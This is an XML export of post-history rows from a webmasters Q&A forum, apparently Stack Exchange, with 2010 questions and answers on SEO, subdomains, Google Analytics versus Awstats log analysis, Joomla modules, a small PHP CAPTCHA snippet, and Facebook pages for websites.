  <row Id="10301" PostHistoryTypeId="2" PostId="5180" RevisionGUID="813f5e54-7045-40e9-af78-3b03954b43bb" CreationDate="2010-11-08T13:52:02.143" UserDisplayName="Junaid Saeed" Text="If I run a blog or something in my subdomain like `www.sub.name.net` is it going to have any  decreasing affect like decrease traffic through search engines or low ranking through on engines?" />
  <row Id="10302" PostHistoryTypeId="1" PostId="5180" RevisionGUID="813f5e54-7045-40e9-af78-3b03954b43bb" CreationDate="2010-11-08T13:52:02.143" UserDisplayName="Junaid Saeed" Text="Domain or Subdomain: does the choice affect traffic?" />
  <row Id="10303" PostHistoryTypeId="3" PostId="5180" RevisionGUID="813f5e54-7045-40e9-af78-3b03954b43bb" CreationDate="2010-11-08T13:52:02.143" UserDisplayName="Junaid Saeed" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="10304" PostHistoryTypeId="17" PostId="5180" RevisionGUID="fd654609-766e-45b5-ad8e-ee2df509ee8a" CreationDate="2010-11-08T13:59:31.620" UserId="-1" Comment="from http://stackoverflow.com/questions/4124443/domain-or-subdomain-does-the-choice-affect-traffic" Text="" />
  <row Id="10308" PostHistoryTypeId="2" PostId="5184" RevisionGUID="39db4c78-f366-4b6e-9b1a-f4d873f78afa" CreationDate="2010-11-08T14:11:34.283" UserId="1253" Text="If the title attribute carries any SEO weight it will be little as it is too often abused. But you should use them when they are appropriate as they are a good usability tool as they can help users understand where a link will take them. So definitely use them and if they help you with SEO, too, then it's an added bonus. &#xD;&#xA;&#xD;&#xA;**Think of your users first and SEO second. Most of the time by making your site better for your users you also make it better for SEO.**" />
  <row Id="10312" PostHistoryTypeId="2" PostId="5185" RevisionGUID="63eaf511-2c2e-427a-bac0-51ce8911d1b3" CreationDate="2010-11-08T14:13:33.033" UserId="1253" Text="[Subdomains and subdirectories are essentially equal in Google's eyes][1] and probably the other search engines as well. Choose which one is easier for you to maintain and meets possible future growth needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="10313" PostHistoryTypeId="2" PostId="5186" RevisionGUID="986f6fc7-71c0-4a4f-bb75-6eefe5d28e80" CreationDate="2010-11-08T14:14:04.100" UserId="1953" Text="The question I would ask is why do you want to use these keywords if your content is not about them, or if your content is about these keywords then why aren't they in the text of your page?" />
  <row Id="10314" PostHistoryTypeId="2" PostId="5187" RevisionGUID="e678d776-2218-40ca-aff5-5db7ad13b899" CreationDate="2010-11-08T14:16:05.693" UserId="1953" Text="SEO for Firefox, shows that and much more as well as allows you to export the data as CSV." />
  <row Id="10317" PostHistoryTypeId="2" PostId="5189" RevisionGUID="56d17564-7914-4ec5-bc4a-b01299310d5d" CreationDate="2010-11-08T14:35:07.040" UserId="3095" Text="No it wont effect your traffic. &#xD;&#xA;&#xD;&#xA;But it is always a better option to have your blog as part of your overall domain not as a sub domain or its own domain, as the blog is going to have regular updated content which improves the domain rating and also the blog is more likely to have people link to it. Which again helps improve your domains authority and will mean the rest of the site ranks higher. &#xD;&#xA;&#xD;&#xA;See for a more in-depth review.  [http://www.chrisg.com/where-should-your-blog-live-integrated-subdirectory-domain-or-subdomain/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.chrisg.com/where-should-your-blog-live-integrated-subdirectory-domain-or-subdomain/" />
  <row Id="10319" PostHistoryTypeId="2" PostId="5190" RevisionGUID="a960a123-a020-466e-88a2-72d963682d09" CreationDate="2010-11-08T15:37:20.120" UserId="233" Text="I don't think anything like that would be built into a template. You are better off looking for a module that does the same - it would work on any template.&#xD;&#xA;&#xD;&#xA;I've used [GK PhotoSlide][1] before now - it's free but it doesn't generate slides automatically, you have to add images manually. (Actually I don't think you'll find an automatic one because there is no way to determine what image to show for an article.)&#xD;&#xA;&#xD;&#xA;Have a look on the [Joomla Extensions][2] site for more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.gavick.com/photoslide.html&#xD;&#xA;  [2]: http://extensions.joomla.org" />
  <row Id="10320" PostHistoryTypeId="2" PostId="5191" RevisionGUID="9092a9ab-a003-4b48-80b0-2f5ac601defa" CreationDate="2010-11-08T15:46:29.787" UserId="233" Text="It is not too difficult to roll your own basic CAPTCHA, or there are numerous tutorials and scripts out of the web.&#xD;&#xA;&#xD;&#xA;I've used a simple one in PHP based on random letters/numbers, feel free to take and modify for your purpose:&#xD;&#xA;&#xD;&#xA;	// first generate random $string&#xD;&#xA;&#xD;&#xA;	$pa_captcha_salt = 'random stuff';&#xD;&#xA;	$hash = md5( $string.$pa_captcha_salt );&#xD;&#xA;	$filename = $_SERVER['DOCUMENT_ROOT'] . '/media/captcha/' . $hash . '.gif';&#xD;&#xA;&#xD;&#xA;	$font = 5; // font size&#xD;&#xA;	$width = ImageFontWidth($font) * strlen($string) + 4;&#xD;&#xA;	$height = ImageFontHeight($font) + 4;&#xD;&#xA;	$im = ImageCreateTrueColor($width, $height);&#xD;&#xA;&#xD;&#xA;	$textColor = ImageColorAllocate ($im, 99, 99, 99); // grey text&#xD;&#xA;	ImageString($im, $font, 2, 2, $string, $textColor);&#xD;&#xA;	ImageGif($im, $filename); // save file&#xD;&#xA;" />
  <row Id="10321" PostHistoryTypeId="2" PostId="5192" RevisionGUID="8db0522f-8a1d-4fb9-8af8-a8156bf6302d" CreationDate="2010-11-08T15:59:16.013" UserDisplayName="Pierre 303" Text="What are the advantages of web server log file analysis over web services like google analytics?&#xD;&#xA;&#xD;&#xA;What are the advantages of google analytics like tools over web server log file analysis?" />
  <row Id="10322" PostHistoryTypeId="1" PostId="5192" RevisionGUID="8db0522f-8a1d-4fb9-8af8-a8156bf6302d" CreationDate="2010-11-08T15:59:16.013" UserDisplayName="Pierre 303" Text="What are the pros &amp; cons of web server log analysis over web based analytics like google analytics" />
  <row Id="10323" PostHistoryTypeId="3" PostId="5192" RevisionGUID="8db0522f-8a1d-4fb9-8af8-a8156bf6302d" CreationDate="2010-11-08T15:59:16.013" UserDisplayName="Pierre 303" Text="&lt;analytics&gt;" />
  <row Id="10324" PostHistoryTypeId="2" PostId="5193" RevisionGUID="461211c9-56a3-4643-b752-e0ae24e89183" CreationDate="2010-11-08T16:16:38.613" UserId="1253" Text="A few thoughts:&#xD;&#xA;&#xD;&#xA;Web based tools like Google Analytics require JavaScript to function completely. Some of them even requires JavaScript to be turned onto function at all. So if a user doesn't have JavaScript enabled your site statistics won't be accurate or complete. They also may slow your site down as the user has to wait for that code to fully download and be parsed fort it to work. If the stats provider's server is slow at that moment your page will seem to be slow to the user.&#xD;&#xA;&#xD;&#xA;On the plus side, they are easy to set up as they only require a small snippet of code to be placed in your pages and you're up and running. They also tend to stay on top of updated bot and browser lists which they can apply immediately with no work from you required so their reports are always current.&#xD;&#xA;&#xD;&#xA;Web based tools like Awstats don't require any client side and thus will offer a complete set of statistics from every user. If you use a web host that provides a basic control panel one of these is usually included so no set up is required. &#xD;&#xA;&#xD;&#xA;On the downside if you don't have a server with a pre-installed control panel or want to use a different one then is included you'll have to install one yourself. Installing software on web servers, particularly *nix systems, is not for the lighthearted. As browsers and bots continually change you'll need to make sure you keep this software up to date otherwise you'll have a lot of &quot;unknown&quot; bots and browsers in your stats which isn't particularly helpful." />
  <row Id="10326" PostHistoryTypeId="2" PostId="5194" RevisionGUID="85422d30-0d0e-4f37-9c59-b567abb47be8" CreationDate="2010-11-08T16:31:46.877" UserId="1429" Text="IMHO comparing Web server logs file analysis to Google Analytics it's like comparing apples to pears.&#xD;&#xA;1 day of server log file can be 1000 text lines to read through or more (depending on the number of visits on your site), this is totally unreadble unless you want to spend the rest of your life reading through it line per line.&#xD;&#xA;&#xD;&#xA;Google Analaytics can be somehow compared to another graphic tools to analyze your webistes' visists like the excellent Awstats which is included in the vast majority of all hosting plans (comes with cPanel).&#xD;&#xA;&#xD;&#xA;Google Analytics vs Awstast (**still IMO**)&#xD;&#xA;&#xD;&#xA;**Google Analytics pros**&#xD;&#xA;&#xD;&#xA; - more detailed&#xD;&#xA; - you can setup goals and a bunch of other stuff&#xD;&#xA; - you can easily track Adwords returns&#xD;&#xA; - you can setup an recurring email with a snapshot of the Analytics to be sent to your customers&#xD;&#xA;&#xD;&#xA;**Google Analytics cons**&#xD;&#xA;&#xD;&#xA; - too detailed (for small/mid sites&#xD;&#xA;   that do not care much about the&#xD;&#xA;   number of visits per day, but they can easily&#xD;&#xA;   quantify visists better and easier by&#xD;&#xA;   month view or even year view)&#xD;&#xA; - very slow to setup an account (slow panel)&#xD;&#xA; - requires you place a snippet of Javascript code in ALL your webisites&#xD;&#xA;   pages (at least in the ones you want&#xD;&#xA;   to see in Analytics results), this is&#xD;&#xA;   another waste of time for me and it&#xD;&#xA;   slows down a bit your page renedering&#xD;&#xA;   (moreover you migt get somehow&#xD;&#xA;   irritating JS errors).&#xD;&#xA; - if you are sending them your customer for free, what happens if one day Big G tells you that from now on you have to pay for them.&#xD;&#xA;&#xD;&#xA;**Awstast pros**&#xD;&#xA;&#xD;&#xA; - Gives you out already more than&#xD;&#xA;   enough results to analyze (and easier&#xD;&#xA;   to read for your customers)&#xD;&#xA; - Very easy&#xD;&#xA;   to read by monthly and yearly visits.&#xD;&#xA; - You don't need to setup anything, it&#xD;&#xA;   comes with vast majority of&#xD;&#xA;   webhosting services (for sure with&#xD;&#xA;   all the ones with cPanel).&#xD;&#xA; - It shows&#xD;&#xA;   you also 404 errors due to broken&#xD;&#xA;   links to your site (also broken links&#xD;&#xA;   to your site coming form your site).&#xD;&#xA;&#xD;&#xA;**Awstats cons**&#xD;&#xA;&#xD;&#xA; - If you want ot exclude a page from&#xD;&#xA;   analysys you need to play with&#xD;&#xA;   Awstatst configuration on server&#xD;&#xA;   (easy once you have done it once, but&#xD;&#xA;   still harder than just removing a Js&#xD;&#xA;   snippet for the page/s you want ot&#xD;&#xA;   exclude)&#xD;&#xA; - If you want to see all the&#xD;&#xA;   bunch of stuff shown by Google&#xD;&#xA;   Analytics: goals, ROI, pingback,&#xD;&#xA;   *where was my mother when I was&#xD;&#xA;   visting your site*, you simply can't!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10327" PostHistoryTypeId="5" PostId="5194" RevisionGUID="6861019f-e23e-4d48-93ce-a224c92e75c8" CreationDate="2010-11-08T16:37:10.380" UserId="1429" Comment="added 228 characters in body" Text="IMHO comparing Web server logs file analysis to Google Analytics it's like comparing apples to pears.&#xD;&#xA;1 day of server log file can be 1000 text lines to read through or more (depending on the number of visits on your site), this is totally unreadble unless you want to spend the rest of your life reading through it line per line.&#xD;&#xA;&#xD;&#xA;Google Analaytics can be somehow compared to another graphic tools to analyze your webistes' visists like the excellent Awstats which is included in the vast majority of all hosting plans (comes with cPanel). Awstats is based on server log analysis, but it shows you result in a graphical form very easy ot read.&#xD;&#xA;&#xD;&#xA;Google Analytics vs Awstast (**still IMO**)&#xD;&#xA;&#xD;&#xA;**Google Analytics pros**&#xD;&#xA;&#xD;&#xA; - more detailed,&#xD;&#xA; - you can setup goals and a bunch of other stuff,&#xD;&#xA; - you can easily track Adwords returns,&#xD;&#xA; - you can setup a recurring email with a snapshot of the Analytics to be sent to your customers&#xD;&#xA;&#xD;&#xA;**Google Analytics cons**&#xD;&#xA;&#xD;&#xA; - too detailed (for small/mid sites&#xD;&#xA;   that do not care much about the&#xD;&#xA;   number of visits per day, but they can easily&#xD;&#xA;   quantify visists better and easier by&#xD;&#xA;   month view or even year view)&#xD;&#xA; - very slow to setup an account (slow panel irritating me and wasting my time)&#xD;&#xA; - requires you to place a snippet of Javascript code in ALL your webisites&#xD;&#xA;   pages (at least in the ones you want&#xD;&#xA;   to see in Analytics results), this is&#xD;&#xA;   another waste of time for me and it&#xD;&#xA;   slows down a bit your page renedering&#xD;&#xA;   (moreover you migt get somehow&#xD;&#xA;   irritating JS errors).&#xD;&#xA; - if you are sending them to your customer for free, what happens if one day Big G tells you that from now on you have to pay for them.&#xD;&#xA;&#xD;&#xA;**Awstast pros**&#xD;&#xA;&#xD;&#xA; - Gives you out already more than&#xD;&#xA;   enough results to analyze (and easier&#xD;&#xA;   to read for your customers)&#xD;&#xA; - Very easy&#xD;&#xA;   to read by monthly and yearly visits.&#xD;&#xA; - You don't need to setup anything, it&#xD;&#xA;   comes with vast majority of&#xD;&#xA;   webhosting services (for sure with&#xD;&#xA;   all the ones with cPanel).&#xD;&#xA; - It shows&#xD;&#xA;   you also 404 errors due to broken&#xD;&#xA;   links to your site (also broken links&#xD;&#xA;   to your site coming from your site), so you can easily track them and fix your site links immediately.&#xD;&#xA;&#xD;&#xA;**Awstats cons**&#xD;&#xA;&#xD;&#xA; - If you want ot exclude a page from&#xD;&#xA;   analysys you need to play with&#xD;&#xA;   Awstatst configuration on server&#xD;&#xA;   (easy once you have done it once, but&#xD;&#xA;   still harder than just removing a Js&#xD;&#xA;   snippet for the page/s you want ot&#xD;&#xA;   exclude)&#xD;&#xA; - If you want to see all the&#xD;&#xA;   bunch of stuff shown by Google&#xD;&#xA;   Analytics: goals, ROI, pingback, maps, and even &#xD;&#xA;   *where was my mother when I was&#xD;&#xA;   visting your site*, you simply can't!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10328" PostHistoryTypeId="2" PostId="5195" RevisionGUID="bb5615f6-374a-4d96-92e3-1a468bf11a69" CreationDate="2010-11-08T16:48:07.707" UserId="1757" Text="Pure log file analytics:&#xD;&#xA;&#xD;&#xA; - doesn't need JavaScript&#xD;&#xA; - limited to HTTP/S requests&#xD;&#xA; - needs to be on-site&#xD;&#xA; - data is only as recent as last log file update&#xD;&#xA; - takes more work to differentiate bots from humans&#xD;&#xA;&#xD;&#xA;Pure javascript analytics:&#xD;&#xA;&#xD;&#xA; - can capture mouse movements/clickstream, length of time user spends on page and other user behavior&#xD;&#xA; - more easily distinguish visitors behind proxies or NAT routers&#xD;&#xA; - can provide real-time analytics&#xD;&#xA; - can be more easily integrated with email and social media analytics&#xD;&#xA; - requires JavaScript to work&#xD;&#xA; - can slow down browser slightly&#xD;&#xA; - every page/link needs to be tagged&#xD;&#xA;&#xD;&#xA;There are also analytics platforms that combine both log file analysis and javascript tags. As well, Pion provides an analytics platform that combines log file analysis and packet sniffing." />
  <row Id="10329" PostHistoryTypeId="5" PostId="5175" RevisionGUID="5054496b-de6e-4511-975d-d913c5883ef3" CreationDate="2010-11-08T16:52:30.173" UserId="1757" Comment="reword to make more clear that the i18n option for reCAPTCHA simply translates the English texts " Text="What are effective CAPTCHA solutions that can have localized description, and **CAPTCHA text *itself*** is either language-neutral, or can be localized (for Polish language)?  It is to be used to protect a kind of contact form.&#xD;&#xA;&#xD;&#xA;reCAPTCHA (for example) [allows i18n of the widget][1], but this still uses English source text that is then machine-translated.  This makes it, I think, harder to solve for people who do not know English at all.  I suspect it is even worse for the *audio* version of CAPTCHA.&#xD;&#xA;&#xD;&#xA;[1]: http://code.google.com/apis/recaptcha/docs/customization.html#i18n" />
  <row Id="10330" PostHistoryTypeId="5" PostId="5194" RevisionGUID="3ad5f498-e0e2-4525-9114-4541237aefba" CreationDate="2010-11-08T17:36:24.177" UserId="1429" Comment="added 34 characters in body" Text="IMHO comparing Web server logs file analysis to Google Analytics it's like comparing apples to pears.&#xD;&#xA;1 day of server log file can be 1000 text lines to read through or more (depending on the number of visits on your site), this is totally unreadble unless you want to spend the rest of your life reading through it line per line.&#xD;&#xA;&#xD;&#xA;Google Analaytics can be somehow compared to another graphic tools to analyze your webistes' visists like the excellent Awstats which is included in the vast majority of all hosting plans (comes with cPanel). Awstats is based on server log analysis (as you mention in your question), but it shows you result in a graphical form very easy ot read.&#xD;&#xA;&#xD;&#xA;Google Analytics vs Awstast (**still IMO**)&#xD;&#xA;&#xD;&#xA;**Google Analytics pros**&#xD;&#xA;&#xD;&#xA; - more detailed,&#xD;&#xA; - you can setup goals and a bunch of other stuff,&#xD;&#xA; - you can easily track Adwords returns,&#xD;&#xA; - you can setup a recurring email with a snapshot of the Analytics to be sent to your customers&#xD;&#xA;&#xD;&#xA;**Google Analytics cons**&#xD;&#xA;&#xD;&#xA; - too detailed (for small/mid sites&#xD;&#xA;   that do not care much about the&#xD;&#xA;   number of visits per day, but they can easily&#xD;&#xA;   quantify visists better and easier by&#xD;&#xA;   month view or even year view)&#xD;&#xA; - very slow to setup an account (slow panel irritating me and wasting my time)&#xD;&#xA; - requires you to place a snippet of Javascript code in ALL your webisites&#xD;&#xA;   pages (at least in the ones you want&#xD;&#xA;   to see in Analytics results), this is&#xD;&#xA;   another waste of time for me and it&#xD;&#xA;   slows down a bit your page renedering&#xD;&#xA;   (moreover you migt get somehow&#xD;&#xA;   irritating JS errors).&#xD;&#xA; - if you are sending them to your customer for free, what happens if one day Big G tells you that from now on you have to pay for them.&#xD;&#xA;&#xD;&#xA;**Awstast pros**&#xD;&#xA;&#xD;&#xA; - Gives you out already more than&#xD;&#xA;   enough results to analyze (and easier&#xD;&#xA;   to read for your customers)&#xD;&#xA; - Very easy&#xD;&#xA;   to read by monthly and yearly visits.&#xD;&#xA; - You don't need to setup anything, it&#xD;&#xA;   comes with vast majority of&#xD;&#xA;   webhosting services (for sure with&#xD;&#xA;   all the ones with cPanel).&#xD;&#xA; - It shows&#xD;&#xA;   you also 404 errors due to broken&#xD;&#xA;   links to your site (also broken links&#xD;&#xA;   to your site coming from your site), so you can easily track them and fix your site links immediately.&#xD;&#xA;&#xD;&#xA;**Awstats cons**&#xD;&#xA;&#xD;&#xA; - If you want ot exclude a page from&#xD;&#xA;   analysys you need to play with&#xD;&#xA;   Awstatst configuration on server&#xD;&#xA;   (easy once you have done it once, but&#xD;&#xA;   still harder than just removing a Js&#xD;&#xA;   snippet for the page/s you want ot&#xD;&#xA;   exclude)&#xD;&#xA; - If you want to see all the&#xD;&#xA;   bunch of stuff shown by Google&#xD;&#xA;   Analytics: goals, ROI, pingback, maps, and even &#xD;&#xA;   *where was my mother when I was&#xD;&#xA;   visting your site*, you simply can't!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10331" PostHistoryTypeId="5" PostId="5194" RevisionGUID="b1dcdc43-9e7e-4cb4-806e-9c80d712d4fe" CreationDate="2010-11-08T18:00:59.293" UserId="1429" Comment="deleted 3 characters in body" Text="IMHO comparing Web server logs file analysis to Google Analytics it's like comparing apples to pears.&#xD;&#xA;1 day of server log file can be 1000 text lines to read through or more (depending on the number of visits on your site), this is totally unreadble unless you want to spend the rest of your life **analyzing it line by line**.&#xD;&#xA;&#xD;&#xA;Google Analaytics can be somehow compared to another graphic tools to analyze your webistes' visists like the excellent Awstats which is included in the vast majority of all hosting plans (comes with cPanel). Awstats is based on server log analysis (as you mention in your question), but it shows you result in a graphical form very easy ot read.&#xD;&#xA;&#xD;&#xA;Google Analytics vs Awstast (**still IMO**)&#xD;&#xA;&#xD;&#xA;**Google Analytics pros**&#xD;&#xA;&#xD;&#xA; - more detailed,&#xD;&#xA; - you can setup goals and a bunch of other stuff,&#xD;&#xA; - you can easily track Adwords returns,&#xD;&#xA; - you can setup a recurring email with a snapshot of the Analytics to be sent to your customers&#xD;&#xA;&#xD;&#xA;**Google Analytics cons**&#xD;&#xA;&#xD;&#xA; - too detailed (for small/mid sites&#xD;&#xA;   that do not care much about the&#xD;&#xA;   number of visits per day, but they can easily&#xD;&#xA;   quantify visists better and easier by&#xD;&#xA;   month view or even year view)&#xD;&#xA; - very slow to setup an account (slow panel irritating me and wasting my time)&#xD;&#xA; - requires you to place a snippet of Javascript code in ALL your webisites&#xD;&#xA;   pages (at least in the ones you want&#xD;&#xA;   to see in Analytics results), this is&#xD;&#xA;   another waste of time for me and it&#xD;&#xA;   slows down a bit your page renedering&#xD;&#xA;   (moreover you migt get somehow&#xD;&#xA;   irritating JS errors).&#xD;&#xA; - if you are sending them to your customer for free, what happens if one day Big G tells you that from now on you have to pay for them.&#xD;&#xA;&#xD;&#xA;**Awstast pros**&#xD;&#xA;&#xD;&#xA; - Gives you out already more than&#xD;&#xA;   enough results to analyze (and easier&#xD;&#xA;   to read for your customers)&#xD;&#xA; - Very easy&#xD;&#xA;   to read by monthly and yearly visits.&#xD;&#xA; - You don't need to setup anything, it&#xD;&#xA;   comes with vast majority of&#xD;&#xA;   webhosting services (for sure with&#xD;&#xA;   all the ones with cPanel).&#xD;&#xA; - It shows&#xD;&#xA;   you also 404 errors due to broken&#xD;&#xA;   links to your site (also broken links&#xD;&#xA;   to your site coming from your site), so you can easily track them and fix your site links immediately.&#xD;&#xA;&#xD;&#xA;**Awstats cons**&#xD;&#xA;&#xD;&#xA; - If you want ot exclude a page from&#xD;&#xA;   analysys you need to play with&#xD;&#xA;   Awstatst configuration on server&#xD;&#xA;   (easy once you have done it once, but&#xD;&#xA;   still harder than just removing a Js&#xD;&#xA;   snippet for the page/s you want ot&#xD;&#xA;   exclude)&#xD;&#xA; - If you want to see all the&#xD;&#xA;   bunch of stuff shown by Google&#xD;&#xA;   Analytics: goals, ROI, pingback, maps, and even &#xD;&#xA;   *where was my mother when I was&#xD;&#xA;   visting your site*, you simply can't!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10332" PostHistoryTypeId="2" PostId="5196" RevisionGUID="7837b5d7-b246-4c79-aecb-d5724ec6227e" CreationDate="2010-11-08T18:23:18.780" UserId="3097" Text="Whats the best way to create links to dish out to partner websites so they get a commission from the clickthrough they generate?&#xD;&#xA;&#xD;&#xA;I would prefer a PHP solution if there is one available? " />
  <row Id="10333" PostHistoryTypeId="1" PostId="5196" RevisionGUID="7837b5d7-b246-4c79-aecb-d5724ec6227e" CreationDate="2010-11-08T18:23:18.780" UserId="3097" Text="Creating Links to and tracking commission (Affilliates)" />
  <row Id="10334" PostHistoryTypeId="3" PostId="5196" RevisionGUID="7837b5d7-b246-4c79-aecb-d5724ec6227e" CreationDate="2010-11-08T18:23:18.780" UserId="3097" Text="&lt;php&gt;&lt;affiliate&gt;" />
  <row Id="10335" PostHistoryTypeId="2" PostId="5197" RevisionGUID="802c9d57-9444-48e9-a29f-a4961f73ffde" CreationDate="2010-11-08T18:36:55.550" UserId="2593" Text="If I'm making changes to site code, content, adding/removing pages, changing links, changing database structure, etc.. How do I safely test all these changes, while still maintaining ability to revert back to the original and retain original search engine ranking and position (in case something screwy happens)?&#xD;&#xA;&#xD;&#xA;I want to make changes, see what happens, if it happens to be bad for SEO - do the common sense thing and go back to original.  Thanks for the help!" />
  <row Id="10336" PostHistoryTypeId="1" PostId="5197" RevisionGUID="802c9d57-9444-48e9-a29f-a4961f73ffde" CreationDate="2010-11-08T18:36:55.550" UserId="2593" Text="Testing new changes to website while retaining ability to revert back to original - to protect SEO" />
  <row Id="10337" PostHistoryTypeId="3" PostId="5197" RevisionGUID="802c9d57-9444-48e9-a29f-a4961f73ffde" CreationDate="2010-11-08T18:36:55.550" UserId="2593" Text="&lt;seo&gt;&lt;web-development&gt;&lt;search-engines&gt;&lt;testing&gt;" />
  <row Id="10338" PostHistoryTypeId="2" PostId="5198" RevisionGUID="190ea9e6-a77b-4dd1-bd11-05311f2e4e93" CreationDate="2010-11-08T18:53:28.367" UserId="132" Text="I'm aware Facebook pages can be used as a communication and marketing channel for a website. Is there value in creating a Facebook page for a noncommercial website that is moderately trafficked?&#xD;&#xA;&#xD;&#xA;The idea behind this is to create additional informational/marketing channels for some websites I run." />
  <row Id="10339" PostHistoryTypeId="1" PostId="5198" RevisionGUID="190ea9e6-a77b-4dd1-bd11-05311f2e4e93" CreationDate="2010-11-08T18:53:28.367" UserId="132" Text="Is it useful to create a Facebook page for a website?" />
  <row Id="10340" PostHistoryTypeId="3" PostId="5198" RevisionGUID="190ea9e6-a77b-4dd1-bd11-05311f2e4e93" CreationDate="2010-11-08T18:53:28.367" UserId="132" Text="&lt;facebook&gt;&lt;marketing&gt;" />
  <row Id="10341" PostHistoryTypeId="2" PostId="5199" RevisionGUID="55d49382-6c79-45d3-bb9e-008c60d5789c" CreationDate="2010-11-08T19:02:48.623" UserId="2481" Text="I've thought about it and decided against it. Why do you want to provide inconsistency? The blind and the old should LEARN, not you. The fewer widgets there are out there, the more likely they will learn on their own to increase the size of website and that gives them the advantage - they learn that it works for ALL websites, not just yours. " />
  <row Id="10344" PostHistoryTypeId="2" PostId="5201" RevisionGUID="9d5c2bd6-0a40-4173-81fa-8f885a3ad508" CreationDate="2010-11-08T19:11:47.137" UserId="2209" Text="First off create a backup of your current site so you have something to go back to in case something goes wrong. &#xD;&#xA;&#xD;&#xA;But one way to do it is have 2 domains, a live (www.mydomain.com) and a development (dev.mydomain.com). Try to keep them on the same server to eliminate any server environment issues. Do all your changes in the development site to make sure everything works properly. &#xD;&#xA;&#xD;&#xA;Then move a little over to the production site and see if it affects your status. If it does not than move a few more changes over. If it does refer to the backup you created." />
  <row Id="10345" PostHistoryTypeId="2" PostId="5202" RevisionGUID="f741a313-680f-4bc3-8c5a-02911c87ed07" CreationDate="2010-11-08T20:09:02.223" UserId="2595" Text="I honestly haven't noticed any improvement with the implementation of a facebook page for my website. With that being said I know hat there are people that has had a great deal of success with a Facebook page. Keeping this in mind I'd say that it's probably worth a try. If worse came to worse it wouldn't make a huge difference, but it could very well help. " />
  <row Id="10346" PostHistoryTypeId="2" PostId="5203" RevisionGUID="7f246a92-8783-4acd-9e61-09f51e7b011c" CreationDate="2010-11-08T21:10:47.707" UserId="2379" Text="Depends on your business.  If its a web business then the answer is yes, because of the added exposure.  If you are a commercial real estate firm, and do your business through traditional channels then having a facebook page may seem immature or childish. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="10347" PostHistoryTypeId="2" PostId="5204" RevisionGUID="7d7266b4-a208-4458-834a-42c9873f3ea8" CreationDate="2010-11-08T21:42:28.930" UserId="3101" Text="I have a joomla website on shared hosting at siteground.com&#xD;&#xA;&#xD;&#xA;in the control panel, i see this message that i have exceeded my inode usage of 150,000.&#xD;&#xA;&#xD;&#xA;any tips to reduce this?" />
  <row Id="10348" PostHistoryTypeId="1" PostId="5204" RevisionGUID="7d7266b4-a208-4458-834a-42c9873f3ea8" CreationDate="2010-11-08T21:42:28.930" UserId="3101" Text="Inode Usage on Joomla Website" />
  <row Id="10349" PostHistoryTypeId="3" PostId="5204" RevisionGUID="7d7266b4-a208-4458-834a-42c9873f3ea8" CreationDate="2010-11-08T21:42:28.930" UserId="3101" Text="&lt;joomla&gt;" />
  <row Id="10353" PostHistoryTypeId="2" PostId="5206" RevisionGUID="beb0ceb8-2471-4d4d-9c57-51c2b5b91d50" CreationDate="2010-11-08T22:20:28.877" UserId="227" Text="I would like to use my site as a &quot;gateway&quot; for watching flash-videos in HTMl5.. Is this possible? What are the requirements?" />
  <row Id="10354" PostHistoryTypeId="1" PostId="5206" RevisionGUID="beb0ceb8-2471-4d4d-9c57-51c2b5b91d50" CreationDate="2010-11-08T22:20:28.877" UserId="227" Text="Is it possible to play a external (e.g. from youtube) flash-video with html5 on my site?" />
  <row Id="10355" PostHistoryTypeId="3" PostId="5206" RevisionGUID="beb0ceb8-2471-4d4d-9c57-51c2b5b91d50" CreationDate="2010-11-08T22:20:28.877" UserId="227" Text="&lt;html5&gt;&lt;video&gt;&lt;flash&gt;" />
  <row Id="10360" PostHistoryTypeId="2" PostId="5207" RevisionGUID="72a27215-e666-4b9a-b807-e21c5bc2ec91" CreationDate="2010-11-08T22:44:55.487" UserId="3106" Text="It really comes down to flexibility &amp; the amount of work you want to do.  If you run a small to medium website and want some generic analytics about your traffic, by all means, throw your data into Google Analytics and never look back.  It's an excellent system that reliably gives you timely insight into user behavior on your website.&#xD;&#xA;&#xD;&#xA;If your site is complicated &amp; has many unconventional user flows (lots of AJAX?) that you'd like to follow, you might not be able to shoehorn things into GA.  Also, if you want to correlate multiple sources of data with your web traffic (eg user information from your database), you're going to need to start thinking about a custom solution as well.&#xD;&#xA;&#xD;&#xA;Beyond the capabilities of the tools, you need to look at the tradeoffs between client and server-side logging.  Server-side logging always works, regardless of what the client does but, unfortunately, it is only able to gain a limited amount of information from the HTTP request.  Client-side logging can be more flexible &amp; gather more information but you have to worry about setting up an extra layer of services to collect them &amp; there's the chance that you might miss some small portion of your traffic." />
  <row Id="10361" PostHistoryTypeId="2" PostId="5208" RevisionGUID="593e7b85-faf5-4db3-91bb-51354c0fd950" CreationDate="2010-11-08T23:10:57.993" UserId="709" Text="Use a Courier font.  It's really reflective of the 1950s, but it really feels old.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/vDunz.png" />
  <row Id="10362" PostHistoryTypeId="2" PostId="5209" RevisionGUID="fab54e3b-b873-488c-bdb0-5dfca895e25e" CreationDate="2010-11-08T23:53:09.093" UserId="709" Text="It depends on your market or prospective audience.  One of the groups I work with are students age 14 to 19.  They receive significantly more hits on their [Facebook page][1], than their [website][2].  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/team781&#xD;&#xA;  [2]: http://www.team781.com/2010/index.php" />
